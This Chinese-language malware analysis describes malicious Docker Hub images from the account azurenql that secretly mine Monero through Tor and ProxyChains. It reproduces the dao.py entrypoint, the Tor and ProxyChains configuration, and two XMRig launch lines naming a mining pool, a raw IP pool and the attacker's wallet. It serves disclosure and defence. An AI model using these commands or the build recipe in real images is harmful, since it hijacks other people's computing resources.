最近幾年內,雲和虛擬化架構越來越普及,用Docker容器打包軟體應用程式的做法已經越來越流行。Docker Hub為用戶和企業提供了基於社區的強大模型,方便Docker鏡像的方式共享應用程式。當然,這種流行的方式也吸引了黑產攻擊者,他們通過在Docker容器注入木馬,進行劫持挖礦,並使用Docker Hub分發惡意鏡像。本文我們就分享一個這樣的案例,供大家參考並預防。
概述
案例中涉及的Docker Hub惡意帳號名為azurenql,Palo Alto安全團隊分析發現該帳戶從2019年10月開始一直處於活動狀態,並託管了六個用於包含挖掘Monero的惡意木馬。鏡像中的挖礦木馬通過使用ProxyChains和Tor的網絡匿名化工具來逃避網絡檢測。帳戶上託管的鏡像已經累積拉取超過200萬次。這些鏡像通過假冒Microsoft Docker Hub的 Azure有關的鏡像。已經分析識別出相關的一個錢包ID已經賺取的門羅幣超過525.38 XMR,大約相當於36,000美元。而且該ID還在活躍並被使用中。相關信息已經被反饋到Docker Hub的安全團隊。希望能儘快刪除惡意帳號。
鏡像和統計
惡意的Docker Hub用戶名為azurenql,帳號下的八個門羅幣挖礦木馬鏡像如下:
這些惡意鏡像的相關信息如下,其中第一個鏡像已經被拉取了超147萬次。
Docker鏡像結構
為了了解如何構建鏡像,分析了azurenql/227_135442的鏡像結構。該鏡像按以下步驟順序構建:
使用Ubuntu 16.04.6 LTS作為"基礎鏡像"。
從原始碼安裝構建所需的依賴項,例如gcc,make,python等。
安裝Tor以匿名化流量。並且其配置為監聽其默認的9050埠:
/etc/tor/torrc
127.0.0.1:9050
下載ProxyChains-NG的原始碼並從原始碼構建。ProxyChains配置保留為默認設置,以通過本地Tor SOCKS代理連接路由其流量。
/usr/local/etc/proxychains.conf
[ProxyList]
# defaults set to "tor"
socks4 127.0.0.1 9050
下載挖礦軟體XMRig的原始碼,並從原始碼進行構建。
下載自定義python腳本dao.py並將其設置為鏡像的入口點。整個過程過程如下:
自定義腳本dao.py分析
鏡像中包括一個名為dao.py的自定義Python惡意腳本,該腳本負責啟動容器內的挖掘過程,並包含在所有鏡像中。
如前所述,此腳本在鏡像中註冊為入口點,因此一旦啟動鏡像,腳本會自動運行。
"Entrypoint": [
"/bin/sh",
"-c",
"python /etc/dao.py"
],
所有Docker鏡像都包含此dao.py腳本或者某變體。這些dao.py腳本之間的唯一區別是,使用了不同的XMRig命令行調用。dao.py腳本的高級執行流程:
找系統上的CPU內核數。
設置hugepages系統屬性以提高哈希率。
安裝Tor並建立依賴關係。
如果沒有安裝proxychains-ng,從github/rofl0r/proxychains-ng.git安裝
如果/usr/local/bin中沒有XMRig二進位文件,從github /nguyennhatduy2608/azures/raw/master/下載
在/usr/local/bin和/usr/bin下對XMRig二進位文件進行符號連結
在後臺啟動Tor。
通過代理鏈啟動礦工,如前所述,礦工將通過本地Tor SOCKS代理路由礦工流量。
腳本的執行工作流程如下圖所示:
挖礦基礎設施
加密礦是要解決一個複雜的計算問題,使用戶可以將交易塊連結在一起。這些鏡像利用注入的系統處理能力來驗證交易。惡意木馬使用兩種方法通過在用戶環境中運行這些惡意鏡像來挖掘區塊。
在第一種方法中,攻擊者使用錢包ID將已開採的區塊直接提交到中央minexmr池。
os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o
stratum+tcp://pool.minexmr.com:4444 -u
43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2
Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001')
通過在羅門幣Monero礦池minexmrdotcom上查找該錢包ID的交易摘要時,發現最近的活動表明該錢包ID仍在使用。
下圖6顯示相關錢包在2020年4月和2020年5月的採礦活動。
下面的圖7表明該錢包ID已賺取525.38 XMR,大約相當於36,000美元。
第二種方法是,惡意腳本將實例部署在運行自己的挖掘池的託管服務上,這些實例用於收集挖掘的塊。
os.system ('proxychains4 ' + program + ' --donate-level 1 -o
stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores))
結論
Docker容器為打包軟體提供了一種便捷的方式,這可以通過採用率的提高來證明。這與門羅幣挖礦結合,使惡意參與者可以輕鬆地將其鏡像分發到任何支持Docker的機器,並立即開始使用其計算資源進行加密劫持。而且最近發現一系列挖礦木馬都挖的是門羅幣,不知道是不是有巧合還是其他原因值得更進一步分析。